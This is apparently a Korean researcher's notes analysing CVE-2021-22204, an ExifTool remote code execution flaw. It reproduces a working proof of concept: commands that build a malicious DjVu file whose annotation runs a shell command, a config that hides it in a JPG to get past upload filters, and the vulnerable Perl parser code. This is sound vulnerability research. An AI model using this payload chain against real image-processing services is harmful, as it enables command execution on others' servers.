
CVE-2021-22204(ExifTool RCE)에 대한 심층 기술 분석: PoC 재현, 페이로드 구성, 취약한 DjVu 주석 파서의 Perl 코드 리뷰를 포함합니다.
이 글은 CVE-2021-22204의 분석 글이라고 할 수 있지만, 사실상 제 메모장에 더 가깝습니다. 잡다한 내용으로 가득 차 있어서 취약점 분석 글치고는 다소 잡담이 많아 보일 수 있지만, 그 과정에서 많은 것을 배웠습니다.
솔직히 말하면, 이 도구를 사용해본 적도 없고 Perl 언어도 거의 접해본 적이 없어서 분석 및 재현 과정 내내 의문투성이였습니다. 분석을 시작하기 전에 먼저 온라인에 공개된 POC와 제가 가진 의문점을 살펴보겠습니다.
제가 본 글은 [1]로, 취약점 발생 원인에 대해 간략히 소개하고 있습니다. 하지만 Perl 코드를 이해하지 못해 많은 부분이 명확하지 않았습니다. 재현 과정은 다음과 같습니다.
12.23 버전의 exiftool 다운로드
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
압축 해제 및 설치
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
물론 설치를 원하지 않는다면 exiftool-12.23 디렉토리의 exiftool 파일을 환경 변수에서 찾을 수 있는 디렉토리에 넣어도 됩니다. Perl은 python과 같은 인터프리터 언어이기 때문에 exiftool 도구를 바로 사용할 수 있습니다.
악성 이미지를 만들기 위해 먼저 필요한 도구를 설치합니다.
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
다음 명령을 실행하여 악성 djvu 파일을 생성합니다.
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
그런 다음 exiftool 도구로 해당 악성 파일을 파싱하면 id 명령이 성공적으로 실행된 것을 확인할 수 있습니다.
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
앞서 djvumake 명령으로 djvu 형식 파일을 만들 때 payload를 압축하지 않을 수 있을까요? 분석 관점에서 보면 압축은 확인과 테스트를 어렵게 만들기 때문입니다. 물론 가능합니다. ANTz 파라미터만 ANTa로 바꾸면 됩니다. ANTz와 ANTa는 exiftool 문서[3]을 참고할 수 있지만, 표준 설명을 찾지 못해 구체적인 의미는 아직 확인하지 못했습니다.
여기서 한 가지 불만을 말하자면,
man djvumake로 파라미터 설명을 확인하려 했지만ANTz와ANTa에 대한 설명이 전혀 없었습니다. 문서 날짜가 2001년으로 오랫동안 업데이트되지 않았습니다.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa는 djvu 파일 내 metadata에 Annotation을 평문 형식으로 저장하며, ANTz는 bzz 압축 형식입니다.
그러나 djvu 형식 파일은 흔하지 않습니다. 특히 웹사이트에 이미지 업로드 기능이 있는 경우 대부분 png/jpg/jpeg 등의 파일만 허용합니다. 따라서 악성 djvu 파일을 jpg 파일로 만들 수 있다면 좋을 것입니다.
exiftool 도구는 이미지 콘텐츠를 수정하는 데 도움을 줄 수 있습니다. 악성 djvu 파일을 jpg 파일의 적절한 위치에 삽입하기만 하면 됩니다. 정확히 어떤 위치인지, 왜 그 위치가 가능한지는 나중에 분석하면서 설명하겠습니다.
exiftool 설정 파일 eval.config 작성
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b 对应Tag 'HasselbladExif'[6]
0xc51b => {
# 名字可以随意指定,这是接收的参数名称
Name => 'HasselbladExif',
# 可写入的变量类型
Writable => 'string',
# 写入的数据归属于metadata的哪一个Group[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
exiftool 설정 파일 작성 방법은 [4][5]를 참고할 수 있습니다. 그런 다음 일반 jpg 이미지 파일 poc.jpg를 찾아 다음 명령을 실행합니다.
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
다시 exiftool로 poc.jpg를 파싱하면 명령이 성공적으로 실행됩니다.
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
다음 분석 과정은 [2]의 내용을 참고했습니다. 취약점 영향 버전은 exiftool < 12.24이며, 취약점을 유발하는 파일은 다음과 같습니다.
lib/Image/ExifTool/DjVu.pm (line 202)
관련 함수 코드는 다음과 같습니다.
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}